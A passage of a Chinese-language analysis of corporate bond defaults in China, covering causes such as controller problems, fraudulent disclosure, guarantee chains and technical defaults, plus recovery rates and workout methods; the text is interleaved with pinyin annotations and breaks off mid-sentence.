发行主(zhu)体(ti)实际控制人对企业(ye)的影响不仅(jin)体(ti)现在经营(ying)和(he)财务(wu)决策等(deng)方面(mian),也(ye)体(ti)现在企业(ye)声(sheng)誉和(he)信用方面(mian)。2015年3月(yue),“雨润系”董事长祝义(yi)财被(bei)检察机关监视居(ju)住,公司筹措资金(jin)的渠道受到较(jiao)(jiao)大影响,资金(jin)链紧张,生(sheng)产(chan)经营(ying)及财务(wu)状况面(mian)临(lin)较(jiao)(jiao)大的潜在风(feng)险。2016年3月(yue),公司短期(qi)融资券“15雨润CP001”未能按照约(yue)定筹措足(zu)额偿(chang)债(zhai)(zhai)资金(jin),未能按期(qi)足(zu)额偿(chang)付。同年5月(yue)13日,债(zhai)(zhai)券“13雨润MTN1”也(ye)未按时(shi)兑付本息,两(liang)只(zhi)违约(yue)债(zhai)(zhai)券余额达(da)15亿元。

2.实际(ji)控制(zhi)人性质发生变化(hua)

公(gong)司(si)(si)(si)实际控(kong)制人的变(bian)(bian)化会导致市场投资(zi)人的认(ren)可(ke)度发生变(bian)(bian)化,进而对企业融资(zi)授(shou)信产生影(ying)响。典型违约案(an)例包括中国(guo)城市建(jian)设控(kong)股集团有限公(gong)司(si)(si)(si)(以下简称“中国(guo)城建(jian)”)、山(shan)东(dong)山(shan)水水泥集团有限公(gong)司(si)(si)(si)(以下简称“山(shan)水水泥”)。

2016年(nian)4月(yue)以(yi)前,中国(guo)城(cheng)建为央企(qi);2016年(nian)4月(yue),公(gong)(gong)(gong)司控股股东变(bian)(bian)更为北京(jing)惠(hui)农投资基金(有限(xian)合(he)伙),该基金由(you)内外(wai)资金融机构共同(tong)出资成立,市场认为公(gong)(gong)(gong)司转变(bian)(bian)为非国(guo)有企(qi)业。国(guo)有企(qi)业的性质改变(bian)(bian),触发了其(qi)香港子(zi)公(gong)(gong)(gong)司境(jing)外(wai)债(zhai)券(quan)的提前赎回条(tiao)款,子(zi)公(gong)(gong)(gong)司境(jing)外(wai)债(zhai)券(quan)违(wei)约。2016年(nian)11月(yue)底至12月(yue)初公(gong)(gong)(gong)司陆(lu)续发生境(jing)内公(gong)(gong)(gong)开(kai)市场债(zhai)券(quan)违(wei)约。

山(shan)水水泥原实际控(kong)(kong)制人仅间接持(chi)有山(shan)水水泥不(bu)足10%的(de)(de)股(gu)份,其对公司的(de)(de)控(kong)(kong)制是通过信托的(de)(de)形式代持(chi)职工股(gu)份以(yi)及(ji)中国(guo)建材等合作股(gu)东(dong)的(de)(de)支持(chi),此(ci)后出现持(chi)续近五年的(de)(de)实际控(kong)(kong)制权争(zheng)夺,第一大股(gu)东(dong)2015年4月(yue)易主(zhu),上市平台停牌,2015年9月(yue)评级下(xia)调,外(wai)源(yuan)融(rong)资渠道受到抑制,2015年11月(yue)债券(quan)违约。

3.发(fa)行主体虚假信息披露

发行(xing)(xing)主体(ti)出现(xian)的违(wei)法(fa)(fa)违(wei)规行(xing)(xing)为(wei)对(dui)其信用状况(kuang)构成不利影响,包括虚(xu)假陈述、财务(wu)造假等信息披露事(shi)件(jian),均(jun)会在(zai)不同程度上损害发行(xing)(xing)人(ren)声誉,最(zui)终(zhong)演(yan)化为(wei)债券(quan)违(wei)约(yue)。以(yi)五(wu)洋(yang)(yang)建(jian)(jian)(jian)设(she)集团(tuan)股(gu)份有限公司(以(yi)下简称“五(wu)洋(yang)(yang)建(jian)(jian)(jian)设(she)”)违(wei)约(yue)事(shi)件(jian)为(wei)例(li),五(wu)洋(yang)(yang)建(jian)(jian)(jian)设(she)在(zai)收到13.4亿元募(mu)集资(zi)金后(hou)(hou),将其中7.31亿元划入实(shi)际(ji)控(kong)(kong)制(zhi)人(ren)控(kong)(kong)制(zhi)的五(wu)洋(yang)(yang)控(kong)(kong)股(gu)有限公司银行(xing)(xing)账户。此后(hou)(hou),五(wu)洋(yang)(yang)建(jian)(jian)(jian)设(she)未(wei)按时披露2016年(nian)年(nian)报(bao)、未(wei)在(zai)募(mu)集说明书中完整披露未(wei)决诉讼信息、9次被(bei)最(zui)高人(ren)民法(fa)(fa)院列入司法(fa)(fa)被(bei)执行(xing)(xing)人(ren)名单等问题经新闻媒(mei)体(ti)报(bao)道后(hou)(hou),加剧了投资(zi)者(zhe)对(dui)其经营(ying)与(yu)财务(wu)数据真实(shi)性的担忧,导(dao)致其融资(zi)渠道收窄,最(zui)终(zhong)引发债券(quan)违(wei)约(yue)。

2019年(nian)(nian)1月,康得(de)新(xin)复合材料(liao)集团(tuan)股份(fen)有限(xian)公(gong)(gong)司(以下简称“康得(de)新(xin)”)两只债券构(gou)成(cheng)违约,共应付本(ben)息约15.6亿(yi)(yi)元(yuan)(yuan)(yuan)。但值得(de)注意的(de)是(shi),公(gong)(gong)司财(cai)务(wu)报告(gao)显示(shi)2018年(nian)(nian)底公(gong)(gong)司货币资金(jin)有153亿(yi)(yi),公(gong)(gong)司网银(yin)(yin)(yin)显示(shi)2018年(nian)(nian)底公(gong)(gong)司有122亿(yi)(yi)元(yuan)(yuan)(yuan)存(cun)(cun)在北(bei)京银(yin)(yin)(yin)行(xing)西(xi)单支行(xing)。证(zheng)监会调查资料(liao)显示(shi),2015年(nian)(nian)1月至2018年(nian)(nian)12月,康得(de)新(xin)通过(guo)虚(xu)(xu)构(gou)销售(shou)业(ye)务(wu)方式虚(xu)(xu)增(zeng)营(ying)业(ye)收入(ru),并通过(guo)虚(xu)(xu)构(gou)采购、生产、研发费用(yong)(yong)、产品运输费用(yong)(yong)方式虚(xu)(xu)增(zeng)营(ying)业(ye)成(cheng)本(ben)、研发费用(yong)(yong)和(he)销售(shou)费用(yong)(yong)。通过(guo)上(shang)述方式,康得(de)新(xin)2015年(nian)(nian)至2018年(nian)(nian)分别虚(xu)(xu)增(zeng)利(li)润总额(e)23.81亿(yi)(yi)元(yuan)(yuan)(yuan)、30.89亿(yi)(yi)元(yuan)(yuan)(yuan)、39.74亿(yi)(yi)元(yuan)(yuan)(yuan)和(he)24.77亿(yi)(yi)元(yuan)(yuan)(yuan),四年(nian)(nian)累计(ji)虚(xu)(xu)增(zeng)利(li)润总额(e)119.21亿(yi)(yi)元(yuan)(yuan)(yuan)。而(er)其中北(bei)京银(yin)(yin)(yin)行(xing)122亿(yi)(yi)元(yuan)(yuan)(yuan)存(cun)(cun)款实(shi)际上(shang)北(bei)京银(yin)(yin)(yin)行(xing)西(xi)单银(yin)(yin)(yin)行(xing)与康得(de)新(xin)控股股东康得(de)集团(tuan)开展现(xian)金(jin)管理(li)合作(zuo)中提供的(de)呈现(xian)余(yu)(yu)额(e)管理(li)服务(wu)所指。康得(de)新(xin)在该(gai)行(xing)账(zhang)户实(shi)际余(yu)(yu)额(e)是(shi)0元(yuan)(yuan)(yuan),应计(ji)余(yu)(yu)额(e)为122亿(yi)(yi)元(yuan)(yuan)(yuan)。这也是(shi)银(yin)(yin)(yin)行(xing)回函(han)显示(shi)“账(zhang)户余(yu)(yu)额(e)为0元(yuan)(yuan)(yuan),联动账(zhang)户金(jin)额(e)122.09亿(yi)(yi)元(yuan)(yuan)(yuan)”的(de)原(yuan)因(yin)。

2020年(nian)2月2日(ri),康(kang)美(mei)(mei)药(yao)业(ye)股(gu)份有限公(gong)司(si)(以下简称“康(kang)美(mei)(mei)药(yao)业(ye)”)未如期偿付“15康(kang)美(mei)(mei)债”回(hui)售本金(jin)(jin)及(ji)利(li)息。实际上,康(kang)美(mei)(mei)药(yao)业(ye)财(cai)务报表真(zhen)实性在2019年(nian)就引起市场注意。康(kang)美(mei)(mei)药(yao)业(ye)2018年(nian)年(nian)报显示,2018年(nian)以前营业(ye)收(shou)(shou)入(ru)、营业(ye)成本、费用及(ji)款项收(shou)(shou)付方面存在账实不符(fu)的(de)情况(kuang),其中货币资金(jin)(jin)多(duo)记299.44亿(yi)元。根据(ju)证(zheng)监会(hui)调(diao)查(cha)结果,康(kang)美(mei)(mei)药(yao)业(ye)2016年(nian)至(zhi)2018年(nian)财(cai)务报告(gao)存在重大虚假(jia)(jia),一是使用虚假(jia)(jia)银行(xing)单据(ju)虚增存款,二(er)是通过伪(wei)造(zao)(zao)业(ye)务凭(ping)证(zheng)进行(xing)收(shou)(shou)入(ru)造(zao)(zao)假(jia)(jia),三是部分(fen)资金(jin)(jin)转(zhuan)入(ru)到关联方账户买卖本公(gong)司(si)股(gu)票。此(ci)外(wai),负责(ze)康(kang)美(mei)(mei)药(yao)业(ye)审(shen)计的(de)机构正中珠(zhu)江会(hui)计师事(shi)务所(suo)也被(bei)证(zheng)监会(hui)立案(an)调(diao)查(cha)。

4.发(fa)行主体对外(wai)担保或互保风(feng)险

对(dui)外担(dan)(dan)保(bao)(bao)(bao)可(ke)分(fen)为单(dan)向担(dan)(dan)保(bao)(bao)(bao)和(he)互保(bao)(bao)(bao)。对(dui)外担(dan)(dan)保(bao)(bao)(bao)通(tong)常表现为企业的或有负债,在实际操作(zuo)上普(pu)遍存在隐匿(ni)在表外且未披露的问题。担(dan)(dan)保(bao)(bao)(bao)所带(dai)来的风(feng)险主要(yao)包括对(dui)担(dan)(dan)保(bao)(bao)(bao)义务(wu)发(fa)生的概率(lv)估(gu)计不足、对(dui)担(dan)(dan)保(bao)(bao)(bao)方资(zi)(zi)信缺(que)乏了(le)解、担(dan)(dan)保(bao)(bao)(bao)合同不规范、后续缺(que)乏有效跟踪管理等。一旦发(fa)生需要(yao)履(lv)行担(dan)(dan)保(bao)(bao)(bao)连带(dai)责任的情况,发(fa)行人会发(fa)生巨大(da)的现金流出(chu)。少则(ze)降低公(gong)司资(zi)(zi)产储备,影响其(qi)流动性;多则(ze)直接(jie)吞(tun)噬公(gong)司现金流和(he)净(jing)资(zi)(zi)产,使其(qi)陷入(ru)资(zi)(zi)不抵(di)债和(he)破产的困境。

例如,山东胜(sheng)(sheng)通(tong)集(ji)(ji)团(tuan)股份有限公司(si)(以下简称“胜(sheng)(sheng)通(tong)集(ji)(ji)团(tuan)”)对外担保(bao)区域集(ji)(ji)中(zhong)度高,且(qie)存在互保(bao)现象,其中(zhong)胜(sheng)(sheng)通(tong)集(ji)(ji)团(tuan)对东辰控(kong)股的担保(bao)金(jin)额(e)达到(dao)10.15亿(yi)元,对垦利石(shi)化(hua)担保(bao)金(jin)额(e)达到(dao)15.17亿(yi)元。2018年,东辰控(kong)股首(shou)先陷入债务(wu)危机,涉及(ji)重大诉讼、主要资(zi)产(chan)被冻结。“担保(bao)圈”中(zhong)的难(nan)兄难(nan)弟(di)牵一发而(er)动(dong)全身,东辰控(kong)股的危机传导至(zhi)担保(bao)方(fang)山东胜(sheng)(sheng)通(tong)集(ji)(ji)团(tuan),成了压垮胜(sheng)(sheng)通(tong)集(ji)(ji)团(tuan)的最后一根稻草(cao)。

谷(gu)神(shen)生(sheng)(sheng)物科(ke)技集团(tuan)(tuan)有(you)限公司(si)(以下简称“谷(gu)神(shen)生(sheng)(sheng)物”)主营(ying)业务是(shi)以大(da)(da)豆(dou)精加工为主,属(shu)于非周期(qi)性行业,经营(ying)状(zhuang)况整体(ti)相对(dui)稳(wen)定。但公司(si)的对(dui)外担保企业中澳控股出现银行贷款逾期(qi),使得(de)谷(gu)神(shen)生(sheng)(sheng)物的代偿风险有(you)所加大(da)(da),从而引发(fa)银行对(dui)公司(si)抽压贷致(zhi)使资金面突然收紧(jin),从而最(zui)(zui)终陷入(ru)偿债困境。此(ci)外,西王集团(tuan)(tuan)对(dui)齐星集团(tuan)(tuan)的担保也一(yi)度使得(de)自(zi)身受到较大(da)(da)的牵连;富(fu)贵鸟存在违(wei)规对(dui)外担保的问题(ti),大(da)(da)额的代偿事项(xiang)叠加近两(liang)年经营(ying)下滑导致(zhi)了(le)最(zui)(zui)终信(xin)用违(wei)约(yue)。

另(ling)外,需要尤其(qi)关注城投(tou)企业的区域互(hu)保风险。一方(fang)面,区域内的城投(tou)平台(tai)互(hu)保可(ke)(ke)能加剧了信用(yong)的系统(tong)性(xing)风险,一旦(dan)个(ge)别平台(tai)发(fa)生流动性(xing)困难(nan)或其(qi)他突发(fa)事件(jian)造成信用(yong)违约(yue),可(ke)(ke)能会造成信用(yong)风险的在区域内的传递与扩散。另(ling)一方(fang)面,许(xu)多城投(tou)平台(tai)在政府的安(an)排下会对当(dang)地的部(bu)分民营企业提(ti)供担(dan)保,部(bu)分民企资(zi)质较弱,融资(zi)困难(nan)等特征都可(ke)(ke)能造成担(dan)保风险增加。

(五)增信(xin)措施失效引发的债券违约

增(zeng)信(xin)(xin)措(cuo)施(shi)失效与(yu)债券违约(yue)事件的发(fa)生存在紧密关联,不论是以资产(chan)抵押、质押为(wei)代(dai)表(biao)的内部增(zeng)信(xin)(xin)措(cuo)施(shi),还是以第三方机(ji)构担保为(wei)代(dai)表(biao)的外部增(zeng)信(xin)(xin)措(cuo)施(shi),均已(yi)发(fa)生增(zeng)信(xin)(xin)失效案例。

内部增信方面,由(you)于违约风险较高(gao)的(de)(de)发行人普遍面临较大经营压力,其有瑕疵(ci)的(de)(de)抵押(ya)、质(zhi)(zhi)押(ya)资产(chan)存在较高(gao)的(de)(de)减(jian)值风险,难以(yi)覆盖(gai)相(xiang)应债(zhai)(zhai)务。同时(shi),存在道德风险的(de)(de)发行人可(ke)能会通过重复抵质(zhi)(zhi)押(ya)追求利益最大化。例(li)如(ru),大连机(ji)床以(yi)子公司(si)的(de)(de)11.5亿(yi)元应收账款作(zuo)为2016年发行债(zhai)(zhai)券的(de)(de)质(zhi)(zhi)押(ya)担保资产(chan),违约事件发生后,发现大连机(ji)床并未履行发货义务,其质(zhi)(zhi)押(ya)担保措施并无价值。

外部增信(xin)方面(mian),由发行(xing)人关(guan)联机构(gou)提供的(de)(de)(de)担(dan)(dan)保(bao)(bao)面(mian)临(lin)较高(gao)的(de)(de)(de)担(dan)(dan)保(bao)(bao)失(shi)效风险(xian),对于无关(guan)联关(guan)系的(de)(de)(de)担(dan)(dan)保(bao)(bao)方则需审(shen)慎评估其(qi)履约(yue)意愿和能(neng)力。珠海中(zhong)富案例中(zhong),“12珠中(zhong)富MTN1”债(zhai)券由其(qi)控股股东提供不可(ke)撤(che)销连带责(ze)任担(dan)(dan)保(bao)(bao),但其(qi)控股股东的(de)(de)(de)净资产规模较小(xiao),且已(yi)被列为(wei)失(shi)信(xin)被执行(xing)人,难以及时履行(xing)担(dan)(dan)保(bao)(bao)责(ze)任。此外,由第三方专业担(dan)(dan)保(bao)(bao)公司担(dan)(dan)保(bao)(bao)的(de)(de)(de)债(zhai)券,出现违约(yue)时担(dan)(dan)保(bao)(bao)人拒绝(jue)承担(dan)(dan)担(dan)(dan)保(bao)(bao)责(ze)任也不鲜(xian)见。中(zhong)海信(xin)达2015年(nian)已(yi)被撤(che)消了融资性担(dan)(dan)保(bao)(bao)公司经(jing)营许可(ke)证。

表 2 担(dan)保机构未履行担(dan)保义务情(qing)况

640.webp (3).jpg

(六)债券(quan)技术性违约

技术性违约主要是指发行人由(you)于非主观的技术性原(yuan)因(yin),没有按(an)时(shi)将资(zi)金足额划(hua)转(zhuan)(zhuan)至(zhi)托管机构,由(you)此造成(cheng)的违约行为。例如人行的大额支付系(xi)(xi)统、跨境汇款系(xi)(xi)统或(huo)资(zi)金划(hua)转(zhuan)(zhuan)等系(xi)(xi)统操(cao)作原(yuan)因(yin)。

但实(shi)际操作中,由于托管机构会要(yao)求发行人在(zai)兑付(fu)日(ri)或付(fu)息日(ri)前1个(ge)或2个(ge)工作日(ri)将兑付(fu)资(zi)金划(hua)拨(bo)至(zhi)指定账(zhang)户(hu),并且会在(zai)更早的时(shi)候出具书面通(tong)知或是(shi)要(yao)求递交材料,因此(ci),导致技(ji)术性(xing)违(wei)(wei)约(yue)的实(shi)际上(shang)通(tong)常是(shi)另有原因。发生技(ji)术性(xing)违(wei)(wei)约(yue)后(hou)不可避免的会对(dui)企业(ye)信用资(zi)质(zhi)造(zao)成(cheng)负(fu)面影响,导致发债主体融资(zi)难(nan)度加大、触发交叉违(wei)(wei)约(yue)条款等,甚至(zhi)造(zao)成(cheng)后(hou)续的实(shi)质(zhi)性(xing)违(wei)(wei)约(yue)。

例如(ru),2016年11月21日,大连(lian)机床(chuang)公告发行的(de)“15机床(chuang)CP003”构成技术性(xing)违(wei)约。隔日,大连(lian)机床(chuang)将兑付(fu)资金(jin)足额划转(zhuan)且(qie)补足了(le)延迟(chi)的(de)利息(xi)。然而(er)仅20天后(hou),大连(lian)机床(chuang)无力(li)偿付(fu)到期的(de)“机床(chuang)SCP001”,构成实(shi)质性(xing)违(wei)约,后(hou)续的(de)7只债券均发生实(shi)质性(xing)违(wei)约,进入(ru)破产重(zhong)整程序(xu)。

(七)债券违约原因小结

综(zong)上(shang)所述(shu),导(dao)致企业(ye)违约(yue)(yue)(yue)的原(yuan)因较(jiao)多(duo)并存在一些共性(xing),企业(ye)经(jing)(jing)营状况低迷、激进扩张、融资(zi)(zi)环境(jing)变化、公(gong)司治理(li)(li)问题和增信措施违约(yue)(yue)(yue)等(deng)通常(chang)是(shi)(shi)引发债券(quan)违约(yue)(yue)(yue)的主要原(yuan)因,部分债券(quan)技术性(xing)违约(yue)(yue)(yue)实际上(shang)也成为了触发债券(quan)实质违约(yue)(yue)(yue)的导(dao)火索。此外(wai),债券(quan)违约(yue)(yue)(yue)往往是(shi)(shi)上(shang)述(shu)多(duo)重因素(su)(su)叠加的结(jie)果。主营业(ye)务(wu)亏(kui)损、变现(xian)或(huo)再融资(zi)(zi)渠道(dao)受限、激进产(chan)能扩张、经(jing)(jing)营管理(li)(li)层频繁(fan)变化等(deng)现(xian)象(xiang)都是(shi)(shi)企业(ye)违约(yue)(yue)(yue)的预警信号。很多(duo)内外(wai)部因素(su)(su)在投资(zi)(zi)前(qian)都可(ke)进行预判,例如股东背(bei)景、所属行业(ye)周期,自(zi)身造血能力,上(shang)下游(you)的集中度及稳定(ding)性(xing)、经(jing)(jing)营性(xing)现(xian)金流(liu)状况、新增融资(zi)(zi)额变化、资(zi)(zi)产(chan)负责结(jie)构、高管简历等(deng),这些内外(wai)部因素(su)(su)均是(shi)(shi)投资(zi)(zi)前(qian)需要重点关注(zhu)的方向。

三、债券市场违约(yue)后续处(chu)置

(一)违(wei)约债券回(hui)收(shou)情况

联合资信数(shu)据显示,截(jie)至2018年(nian)末,公募(mu)债券(quan)市(shi)场(chang)整体(ti)回(hui)(hui)收(shou)率(lv)约为15.46%,较2017年(nian)末的(de)(de)(de)回(hui)(hui)收(shou)率(lv)(28.11%)有所下(xia)降(jiang),很大(da)程度上是由于违(wei)约债券(quan)回(hui)(hui)收(shou)处(chu)置(zhi)(zhi)时(shi)间较长。2018年(nian)违(wei)约规模(mo)增(zeng)加,违(wei)约后处(chu)置(zhi)(zhi)时(shi)间较短,因此回(hui)(hui)收(shou)较少。此外(wai),从已经处(chu)置(zhi)(zhi)完(wan)成的(de)(de)(de)31期违(wei)约债券(quan)的(de)(de)(de)回(hui)(hui)收(shou)情况来看,剔除(chu)无法(fa)得(de)知回(hui)(hui)收(shou)数(shu)据的(de)(de)(de)样本,回(hui)(hui)收(shou)率(lv)约为98.34%,较上年(nian)(99.24%)变化(hua)不大(da)。

从(cong)违约回(hui)(hui)(hui)(hui)(hui)收(shou)主体来看,民(min)营企业(ye)(ye)违约回(hui)(hui)(hui)(hui)(hui)收(shou)率(lv)(lv)水(shui)(shui)平(ping)(ping)显著低(di)于国(guo)有(you)企业(ye)(ye)回(hui)(hui)(hui)(hui)(hui)收(shou)水(shui)(shui)平(ping)(ping)。截至(zhi)2018年(nian)(nian)末(mo),我国(guo)公募债券市场违约债券发行人(ren)中有(you)11家(jia)国(guo)有(you)企业(ye)(ye),涉及债券25只,违约规模合计213.66亿元,回(hui)(hui)(hui)(hui)(hui)收(shou)规模为(wei)62.25亿元,剔除(chu)无(wu)法得(de)知回(hui)(hui)(hui)(hui)(hui)收(shou)数(shu)据(ju)的(de)样本,国(guo)有(you)企业(ye)(ye)回(hui)(hui)(hui)(hui)(hui)收(shou)率(lv)(lv)为(wei)39.71%,较(jiao)上年(nian)(nian)末(mo)回(hui)(hui)(hui)(hui)(hui)收(shou)率(lv)(lv)水(shui)(shui)平(ping)(ping)(59.49%)大(da)幅下降;违约发行人(ren)中有(you)33家(jia)民(min)营企业(ye)(ye),涉及债券92只,违约规模为(wei)817.86亿元,回(hui)(hui)(hui)(hui)(hui)收(shou)规模为(wei)71.75亿元,剔除(chu)无(wu)法得(de)知回(hui)(hui)(hui)(hui)(hui)收(shou)数(shu)据(ju)的(de)样本,回(hui)(hui)(hui)(hui)(hui)收(shou)率(lv)(lv)仅(jin)8.79%,较(jiao)上年(nian)(nian)末(mo)回(hui)(hui)(hui)(hui)(hui)收(shou)率(lv)(lv)水(shui)(shui)平(ping)(ping)(19.59%)下降10.80个百分点。

此(ci)外,违约(yue)(yue)(yue)发行主体(ti)中上(shang)(shang)市(shi)(shi)(shi)公(gong)司(si)违约(yue)(yue)(yue)回(hui)(hui)收率(lv)大幅下降。截(jie)至2018年(nian)末(mo)(mo),我国公(gong)募债券(quan)市(shi)(shi)(shi)场债券(quan)违约(yue)(yue)(yue)涉(she)(she)及(ji)的(de)发行人共计54家(jia)(jia),包括17家(jia)(jia)上(shang)(shang)市(shi)(shi)(shi)公(gong)司(si)和37家(jia)(jia)非(fei)上(shang)(shang)市(shi)(shi)(shi)公(gong)司(si)。目前上(shang)(shang)市(shi)(shi)(shi)公(gong)司(si)所发违约(yue)(yue)(yue)债券(quan)(36期)共涉(she)(she)及(ji)违约(yue)(yue)(yue)规模246.53亿(yi)元(yuan)(yuan),回(hui)(hui)收规模为(wei)18.50亿(yi)元(yuan)(yuan),剔(ti)除无(wu)法得(de)知(zhi)回(hui)(hui)收数(shu)(shu)据的(de)样(yang)本,回(hui)(hui)收率(lv)仅(jin)7.51%,较2017年(nian)末(mo)(mo)回(hui)(hui)收率(lv)(100%)大幅下降;非(fei)上(shang)(shang)市(shi)(shi)(shi)公(gong)司(si)所发违约(yue)(yue)(yue)债券(quan)(105期)共涉(she)(she)及(ji)违约(yue)(yue)(yue)规模1013.10亿(yi)元(yuan)(yuan),回(hui)(hui)收规模为(wei)167.14亿(yi)元(yuan)(yuan),剔(ti)除无(wu)法得(de)知(zhi)回(hui)(hui)收数(shu)(shu)据的(de)样(yang)本,回(hui)(hui)收率(lv)为(wei)17.51%,较2017年(nian)末(mo)(mo)回(hui)(hui)收率(lv)(18.81%)小(xiao)幅下降。

(二)违约债(zhai)券(quan)处置方式

随着信(xin)用债(zhai)违(wei)约(yue)的(de)常(chang)态(tai)化,违(wei)约(yue)债(zhai)券(quan)(quan)的(de)后(hou)续处置也成为监管机构(gou)和债(zhai)券(quan)(quan)持有人关注的(de)焦点。就目前看来(lai),债(zhai)券(quan)(quan)违(wei)约(yue)处置方(fang)式(shi)主要包括(kuo)非司法(fa)手(shou)(shou)段和司法(fa)手(shou)(shou)段。

1.非司法手段

非司法手(shou)段主(zhu)要包括企业(ye)自筹资金、引入第(di)三方机(ji)构和(he)债(zhai)务重组三类。

(1)自(zi)筹(chou)资(zi)金包(bao)括以自(zi)有(you)经营资(zi)金偿(chang)(chang)付、自(zi)有(you)资(zi)产(chan)转(zhuan)让(rang)变(bian)现、抵押(ya)(ya)贷款或借款等。如山水(shui)水(shui)泥市场形势好转(zhuan),通(tong)过(guo)自(zi)有(you)的(de)生(sheng)产(chan)经营资(zi)金分期偿(chang)(chang)还(hai)违约债(zhai)务;珠海中富(fu)通(tong)过(guo)将全资(zi)子公司河南中富(fu)100%股权出让(rang)给(ji)佛(fo)山碧桂园获取(qu)资(zi)金偿(chang)(chang)还(hai)债(zhai)券(quan);雨润食品通(tong)过(guo)提供抵押(ya)(ya)土地,获得主承销商民生(sheng)证(zheng)券(quan)的(de)流动性支持。

(2)引入第三方具体(ti)可(ke)分为引入外(wai)部(bu)担(dan)(dan)(dan)保(bao)(bao)机构、当地政府(fu)/国资或(huo)关联(lian)方及AMC等(deng)。如债券(quan)发(fa)行时设有(you)外(wai)部(bu)担(dan)(dan)(dan)保(bao)(bao),违约(yue)时担(dan)(dan)(dan)保(bao)(bao)机构有(you)义务按(an)照合同约(yue)定替企业偿(chang)(chang)还部(bu)分或(huo)全部(bu)现(xian)金。据不完全统计,自2014年至今,有(you)25只(zhi)(zhi)债券(quan)发(fa)生担(dan)(dan)(dan)保(bao)(bao)人(ren)代(dai)偿(chang)(chang)的(de)事件,其中20只(zhi)(zhi)由(you)4家专业担(dan)(dan)(dan)保(bao)(bao)公司代(dai)偿(chang)(chang),包括中债信用(11只(zhi)(zhi))、江苏(su)信保(bao)(bao)(6只(zhi)(zhi))、中合担(dan)(dan)(dan)保(bao)(bao)(2只(zhi)(zhi))和安徽担(dan)(dan)(dan)保(bao)(bao)(1只(zhi)(zhi))。虽然相关债券(quan)发(fa)行人(ren)无力偿(chang)(chang)还债券(quan),但基于担(dan)(dan)(dan)保(bao)(bao)公司本(ben)身(shen)较(jiao)为强大的(de)担(dan)(dan)(dan)保(bao)(bao)能(neng)力,均(jun)进行了代(dai)偿(chang)(chang)。

地(di)(di)方(fang)政(zheng)(zheng)(zheng)府(fu)或国(guo)(guo)资(zi)机(ji)构(gou)救助是(shi)(shi)国(guo)(guo)企(qi)(qi)(qi)、央企(qi)(qi)(qi)债券(quan)(quan)违(wei)约后(hou),实(shi)现债券(quan)(quan)兑付的(de)(de)重要(yao)方(fang)式。地(di)(di)方(fang)政(zheng)(zheng)(zheng)府(fu)或国(guo)(guo)资(zi)机(ji)构(gou)救助动机(ji)主要(yao)包括两类:一(yi)类是(shi)(shi)认可公司(si)经营(ying)状况,愿(yuan)意解其(qi)燃眉之(zhi)急,如(ru)中煤(mei)集(ji)(ji)团(tuan)(tuan)对(dui)(dui)(dui)中煤(mei)华昱支(zhi)持(chi)(chi),江苏信托对(dui)(dui)(dui)亚(ya)邦集(ji)(ji)团(tuan)(tuan)的(de)(de)支(zhi)持(chi)(chi)等;另一(yi)类则(ze)是(shi)(shi)出于“维稳”的(de)(de)目(mu)的(de)(de),考虑规模较大的(de)(de)国(guo)(guo)企(qi)(qi)(qi)和民企(qi)(qi)(qi)对(dui)(dui)(dui)当地(di)(di)经济、就(jiu)业(ye)、社会(hui)稳定(ding)的(de)(de)影(ying)响,以及(ji)违(wei)约对(dui)(dui)(dui)资(zi)本(ben)市场(chang)和当地(di)(di)后(hou)续融资(zi)的(de)(de)负(fu)面(mian)冲击,如(ru)四(si)川(chuan)省政(zheng)(zheng)(zheng)府(fu)对(dui)(dui)(dui)全(quan)(quan)省最大的(de)(de)煤(mei)炭国(guo)(guo)企(qi)(qi)(qi)川(chuan)煤(mei)集(ji)(ji)团(tuan)(tuan)首次违(wei)约后(hou)不遗余力(li)的(de)(de)救助,如(ru)临沂市政(zheng)(zheng)(zheng)府(fu)对(dui)(dui)(dui)位(wei)于当地(di)(di)互保圈核(he)心的(de)(de)江泉集(ji)(ji)团(tuan)(tuan)违(wei)约债务的(de)(de)垫支(zhi)等。但值得(de)注意的(de)(de)是(shi)(shi),近年政(zheng)(zheng)(zheng)府(fu)对(dui)(dui)(dui)违(wei)约企(qi)(qi)(qi)业(ye)的(de)(de)救助意愿(yuan)有所下降,或者是(shi)(shi)力(li)不从心没有足够(gou)的(de)(de)资(zi)金(jin)支(zhi)持(chi)(chi),或者权衡利(li)弊只进行有选择性的(de)(de)援助,如(ru)川(chuan)煤(mei)集(ji)(ji)团(tuan)(tuan)多例违(wei)约债券(quan)(quan)违(wei)约已(yi)超过一(yi)年,至今尚未偿付,但最新一(yi)例违(wei)约企(qi)(qi)(qi)业(ye)债却在(zai)一(yi)周内得(de)到全(quan)(quan)额(e)兑付,据称(cheng)是(shi)(shi)发改委协调(diao)了(le)大部分(fen)资(zi)金(jin)。

此外,也可通(tong)过引(yin)入(ru)资产管理(li)公(gong)司(si)(si)来处(chu)理(li)公(gong)司(si)(si)资产,但因违(wei)约(yue)债券(quan)(quan)难以(yi)定价,目(mu)前此种(zhong)模式(shi)并未大规模推行。2017年(nian)2月(yue)3日“16博(bo)源SCP002”本(ben)息实质(zhi)性违(wei)约(yue)。2018年(nian)12月(yue),博(bo)源集(ji)团(tuan)公(gong)告(gao)称,公(gong)司(si)(si)30亿元债券(quan)(quan)违(wei)约(yue)后(hou)全部(bu)由中国(guo)信达资产管理(li)股份(fen)有限(xian)公(gong)司(si)(si)收(shou)购(gou),标志着国(guo)内首单通(tong)过债券(quan)(quan)打(da)折收(shou)购(gou)、注销(xiao)登记、实质(zhi)性重组等组合手段化解违(wei)约(yue)债券(quan)(quan)风(feng)险项(xiang)目(mu)取得实质(zhi)性进展。

(3)债(zhai)务重组主(zhu)要包括(kuo)延(yan)长偿(chang)债(zhai)期限、降低(di)偿(chang)还的(de)本金(jin)或(huo)利(li)率等。现(xian)实中,采用(yong)延(yan)长期限、降低(di)本金(jin)或(huo)利(li)率、追加担保等方式(shi)降低(di)偿(chang)还压力的(de)债(zhai)券(quan)(quan)(quan)较(jiao)多;部分企业也会采用(yong)债(zhai)转股方式(shi)化债(zhai)。如“19桑(sang)(sang)德工(gong)(gong)程SCP001”发行于(yu)2019年(nian)5月(yue),债(zhai)券(quan)(quan)(quan)规模5亿元,票(piao)面利(li)率6.5%,由于(yu)债(zhai)券(quan)(quan)(quan)到期兑付存(cun)在不确定性,债(zhai)券(quan)(quan)(quan)持(chi)有人会议(yi)同(tong)意将本金(jin)兑付延(yan)期至(zhi)11月(yue)20日,利(li)率上调(diao)至(zhi)7%。此外,2020年(nian)3月(yue),北京桑(sang)(sang)德环境工(gong)(gong)程有限公(gong)司启动债(zhai)券(quan)(quan)(quan)置(zhi)换(huan)试(shi)点工(gong)(gong)作,拟向银行间交(jiao)易商(shang)协会申请(qing)注册一期